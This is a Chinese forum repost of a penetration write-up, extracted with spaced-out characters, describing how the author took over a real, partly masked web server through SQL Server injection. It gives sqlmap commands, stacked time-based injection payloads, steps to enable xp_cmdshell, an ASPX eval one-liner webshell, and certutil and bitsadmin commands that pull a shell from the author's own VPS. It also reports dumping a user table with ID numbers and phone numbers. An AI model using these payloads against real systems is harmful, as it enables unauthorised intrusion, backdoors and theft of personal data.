搜索

[18102] 2020-07-26_从SQLServer注入到getshell

文档创建者：s7ckTeam
浏览次数：46
最后更新：2025-01-18
2020-07-26_从SQLServer注入到getshell 从   S Q L   S e r v e r   注 入 到   g e t s h e l l w y b 0   H A C K 之 道   2 0 2 0 - 0 7 - 2 6 0 x 0 0   目 标 情 况 目 标 情 况 一 个 w e b 站 点 1 1 1 . * . * . 6 3 ， 只 有 一 个 登 陆 框 ， 测 试 了 没 有 注 入 ， 没 有 弱 口 令 ， 扫 描 了 全 端 口 ， 没 有 发 现 什 么 有 用 的 信 息 。 0 x 0 1   发 现 注 入 发 现 注 入 当 时 是 查 看 网 页 源 代 码 ， 有 两 个 可 疑 接 口 ， 一 个 是 初 始 化 密 码 借 口 ， 访 问 返 回 空 白 页 面 ， 没 有 什 么 用 另 一 个 是 密 码 设 置 接 口 ， 不 过 这 个 接 口 是 同 网 段 的 另 一 个 i p   1 1 1 . * . * . 5 9 ， 访 问 后 发 现 是 个 重 置 密 码 的 界 面 但 是 进 行 密 码 重 置 的 时 候 需 要 发 送 验 证 码 ， 系 统 会 先 校 验 用 户 名 是 否 存 在 ， 加 单 引 号 出 错 ， a n d   1 = 2 没 反 应 b u r p s u i t e 抓 包 后 s q l m a p 跑 了 下 ， p y t h o n   s q l m a p . p y   - r   1 . t x t ， 存 在 注 入 通 过 s q l m a p 得 到 了 这 几 个 数 据 库 [ * ]   H S O A _ 2 0 1 7 0 3 2 0 [ * ]   H S O A _ N E W [ * ]   H S O A _ T [ * ]   m a s t e r [ * ]   m o d e l [ * ]   m s d b
0 x 0 2   找 网 站 绝 对 路 径 找 网 站 绝 对 路 径 判 断 是 不 是 判 断 是 不 是 d b a 权 限 权 限 ( 延 时 后 返 回 正 确 页 面 ， 确 定 为 延 时 后 返 回 正 确 页 面 ， 确 定 为 d b a 权 限 权 限 < 也 可 用 也 可 用 s q l m a p 的 的 – i s - d b a 判 断 判 断 > ) 判 断 是 否 是 站 库 分 离 判 断 是 否 是 站 库 分 离 ( 延 时 后 返 回 正 确 页 面 ， 确 定 站 库 没 有 分 离 延 时 后 返 回 正 确 页 面 ， 确 定 站 库 没 有 分 离 ) 查 看 是 否 有 查 看 是 否 有 x p _ c m d s h e l l 恢 复 ／ 删 除 恢 复 ／ 删 除 x p _ c m d s h e l l 开 启 开 启 x p _ c m d s h e l l 得 到 网 站 绝 对 路 径 得 到 网 站 绝 对 路 径 可 以 找 一 个 在 网 站 中 的 文 件 ， 然 后 可 以 用 d i r   / s   / b   d : " a a . t x t " 或 者   f o r   / r   d :   % i   i n   ( a a . t x t )   d o   e c h o   % i 来 得 到 路 径 查 看 网 页 源 代 码 发 现 引 入 了 j s 脚 本 " < s c r i p t   ， 就 查 找 l a y e r . j s 吧 本 来 想 使 用 s q l m a p 的 - - o s - s h e l l 直 接 执 行 命 令 试 试 ， p y t h o n   s q l m a p . p y   - r   1 . t x t   – o s - s h e l l ， 但 是 发 现 执 行 命 令 的 话 一 直 没 有 数 据 返 回 那 就 手 工 注 入 找 路 径 ， 先 建 表 ， 将 路 径 插 入 表 ， 然 后 得 到 表 内 容 - - 在 数 据 库 t e m p d b 下 创 建 临 时 表 t t _ t m p s q l m a p 查 看 建 表 成 功 ， s q l m a p   - r   1 . t x t   - - d b m s   " M i c r o s o f t   S Q L   S e r v e r "   - D   " t e m p d b "   - - t a b l e s [ * ]   m s d b [ * ]   S h u t t l e [ * ]   S H W T [ * ]   t e m p d b u n a m e = t e s t ' ; i f ( 1 = ( s e l e c t   i s _ s r v r o l e m e m b e r ( ' s y s a d m i n ' ) ) )   W A I T F O R   D E L A Y   ' 0 : 0 : 2 ' ; - - u n a m e = t e s t ' ; i f ( h o s t _ n a m e ( ) = @ @ s e r v e r n a m e )   W A I T F O R   D E L A Y   ' 0 : 0 : 5 ' ; - - u n a m e = t e s t ' ; i f ( 1 = ( s e l e c t   c o u n t ( * )   f r o m   m a s t e r . d b o . s y s o b j e c t s   w h e r e   x t y p e   =   ' x '   a n d   n a m e   =   ' x p _ c m d s h e l l ' ) )   W A I T F O R   D E L A Y   ' 0 : 0 : 2 ' - - e x e c   s p _ a d d e x t e n d e d p r o c   x p _ c m d s h e l l , @ d l l n a m e = ' x p l o g 7 0 . d l l ' e x e c   s p _ d r o p e x t e n d e d p r o c   ' x p l o g 7 0 . d l l ' #   关 闭 x p _ c m d s h e l l E X E C   s p _ c o n f i g u r e   ' s h o w   a d v a n c e d   o p t i o n s ' , 1 ; R E C O N F I G U R E ; E X E C   s p _ c o n f i g u r e   ' x p _ c m d s h e l l ' , 0 ; R E C O N F I G U R E ; #   启 用 x p _ c m d s h e l l E X E C   s p _ c o n f i g u r e   ' s h o w   a d v a n c e d   o p t i o n s ' , 1 ; R E C O N F I G U R E ; E X E C   s p _ c o n f i g u r e   ' x p _ c m d s h e l l ' , 1 ; R E C O N F I G U R E ; u n a m e = t e s t ' ; u s e   t e m p d b ; c r e a t e   t a b l e   t t _ t m p   ( t m p 1   v a r c h a r ( 1 0 0 0 ) ) ; - -
查 找 网 站 文 件 并 把 路 径 写 入 到 表 t t _ t m p 用 s q l m a p 得 到 表 t t _ t m p 的 内 容 :   p y t h o n   s q l m a p . p y   - r   1 . t x t   - - d b m s = " M i c r o s o f t   S Q L   S e r v e r "   - - t e c h n i q u e = S   - D   " t e m p d b "   - T   " t t _ t m p "   - C   " t m p 1 "   - - d u m p   - v   3 0 x 0 3   尝 试 在 尝 试 在 1 1 1 . * . * . 5 9 主 机 主 机 g e t s h e l l 尝 试 写 一 句 话 尝 试 写 一 句 话 先 在 下 面 的 路 径 中 写 入 t x t 文 件 验 证 网 站 路 径 到 底 是 哪 一 个 u n a m e = t e s t ' ; u s e   t e m p d b ; i n s e r t   i n t o   t t _ t m p ( t m p 1 )   e x e c   m a s t e r . . x p _ c m d s h e l l   ' d i r   / s   / b   d : l a y e r . j s ' ; - - D : b a k 2 0 1 7 0 2 2 6 b a k 2 0 1 7 0 4 0 3 . 2 w e b a p p C o n t e n t l a y e r D : b a k 2 0 1 7 0 2 2 6 b a k 2 0 1 7 0 4 0 4 . 2 w e b a p p C o n t e n t l a y e r D : b a k 2 0 1 7 0 2 2 6 b a k 2 0 1 7 0 4 0 4 . 3 w e b a p p C o n t e n t l a y e r D : b a k 2 0 1 7 0 2 2 6 b a k 2 0 1 7 0 4 0 4 w e b a p p C o n t e n t l a y e r D : b a k 2 0 1 7 0 2 2 6 b a k 2 0 1 7 0 4 0 5 w e b a p p C o n t e n t l a y e r D : b a k 2 0 1 7 0 2 2 6 b a k 2 0 1 7 0 4 0 7 w e b a p p C o n t e n t l a y e r D : b a k 2 0 1 7 0 2 2 6 b a k 2 0 1 8 0 1 0 3 w e b a p p C o n t e n t l a y e r D : b a k 2 0 1 7 0 2 2 6 b a k 2 0 1 8 0 3 2 0 w e b a p p C o n t e n t l a y e r D : b a k 2 0 1 7 0 2 2 6 w e b a p p C o n t e n t l a y e r D : b a k 2 0 1 7 0 2 2 6 w e b a p p Y M C o n t e n t l a y e r D : W E B A P P C o n t e n t l a y e r
依 次 写 文 件 然 后 访 问 ， 在 写 入   D : b a k 2 0 1 7 0 2 2 6 w e b a p p C o n t e n t l a y e r 1 2 3 . t x t 时 ， 访 问 h t t p : / / 1 1 1 . * . * . 5 9 / C o n t e n t / l a y e r / 1 2 3 . t x t 能 正 常 访 问 到 1 2 3 . t x t ， 返 回 内 容 为 t e s t ， 证 明 w e b 路 径 就 是 D : b a k 2 0 1 7 0 2 2 6 w e b a p p 尝 试 写 入 一 句 话 ( <   > 的 前 面 要 加 ^ ) 访 问 时 可 以 看 到 a a . a s p x 确 实 写 入 了 ， 但 是 菜 刀 连 接 不 上 尝 试 直 接 下 载 尝 试 直 接 下 载 s h e l l 到 服 务 器 到 服 务 器 使 用 b i t s a d m i n 下 载 时 并 没 有 成 功 ， 访 问 h t t p : / / 1 1 1 . * . * . 5 9 / C o n t e n t / l a y e r / a a a . a s p x 返 回 4 0 4 使 用 c e r t u t i l 下 载 时 才 成 功 ， 得 到 s h e l l 地 址 h t t p : / / 1 1 1 . * . * . 5 9 / C o n t e n t / l a y e r / a a a . a s p x u n a m e = t e s t ' ; e x e c   m a s t e r . . x p _ c m d s h e l l   ' e c h o   t e s t   > D : b a k 2 0 1 7 0 2 2 6 b a k 2 0 1 7 0 4 0 3 . 2 w e b a p p C o n t e n t l a y e r 1 1 . t x t ' ; - - u n a m e = t e s t ' ; e x e c   m a s t e r . . x p _ c m d s h e l l   ' e c h o   ^ < % @   P a g e   L a n g u a g e = " J s c r i p t " % ^ > ^ < % e v a l ( R e q u e s t . i t e m [ " A a 1 2 3 4 5 6 7 " ] , " u n s a f e " ) ; % ^ >   >   D : b a k 2 0 1 7 0 2 2 6 w e b a p p C o n t e n t l a y e r c c . a s p x ' ; - - u n a m e = t e s t ' ; e x e c   m a s t e r . . x p _ c m d s h e l l   ' b i t s a d m i n   / r a w r e t u r n   / t r a n s f e r   g e t f i l e   h t t p : / / m y - v p s / a a a . a s p x   D : b a k 2 0 1 7 0 2 2 6 w e b a p p C o n t e n t l a y e r a a a . a s p x ' ; - - u n a m e = t e s t ' ; e x e c   m a s t e r . . x p _ c m d s h e l l   ' c e r t u t i l   - u r l c a c h e   - s p l i t   - f   h t t p : / / m y - v p s / a a a . a s p x   D : b a k 2 0 1 7 0 2 2 6 w e b a p p C o n t e n t l a y e r a a a . a s p x ' ; - -
0 x 0 4   查 数 据 库 相 关 信 息 查 数 据 库 相 关 信 息 找 到 数 据 库 配 置 文 件
尝 试 登 陆 尝 试 登 陆 找 到 了 用 户 表 ， 有 用 户 名 、 密 码 、 姓 名 、 手 机 号 、 邮 箱 、 身 份 证 号 在 1 1 1 . * . * . 6 3 登 陆 发 现 它 只 是 个 登 陆 接 口 ， 真 正 网 站 是 在 1 1 1 . * . * . 5 9 的 0 x 0 5   附 ： 附 ： s q l m a p 得 到 路 径 的 语 句 分 析 得 到 路 径 的 语 句 分 析 R e f e r e n c e ( 侵 删 ) ： h t t p s : / / w w w . c n b l o g s . c o m / b a c k l i o n / p / 6 8 6 9 5 9 5 . h t m l 原 文 ： h t t p : / / w y b 0 . c o m / p o s t s / 2 0 1 9 / s q l - s e r v e r - f r o m - i n j e c t i o n - t o - g e t s h e l l / 扫 描 关 注 扫 描 关 注   H A C K 之 道 之 道 c a s t 转 换 数 据 类 型 i s n u l l 判 断 数 据 是 否 为 空 ， 为 空 的 话 返 回 c h a r ( 3 2 ) u n i c o d e 字 符 转 换 为 1 0 进 制 数 字 I F ( U N I C O D E ( S U B S T R I N G ( ( S E L E C T   M I N ( I S N U L L ( C A S T ( t m p 1   A S   N V A R C H A R ( 4 0 0 0 ) ) , C H A R ( 3 2 ) ) )   F R O M   t e m p d b . d b o . t t _ t m p ) , 1 , 1 ) ) > 3 2 )   W A I T F O R   D E L A Y   ' 0 : 0 : 1 ' ; I F ( U N I C O D E ( S U B S T R I N G ( ( S E L E C T   M I N ( I S N U L L ( C A S T ( t m p 1   A S   N V A R C H A R ( 4 0 0 0 ) ) , C H A R ( 3 2 ) ) )   F R O M   t e m p d b . d b o . t t _ t m p   W H E R E   C O N V E R T ( N V A R C H A R ( 4 0 0 0 ) , t m p 1 ) > ' D : W E B A P P C o n t e n t l a y e r l a y e r . j s ' ) , 1 , 1 ) ) > 1 6 )   W A I T F O R   D E L A Y   ' 0 : 0 : 1 ' ;
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理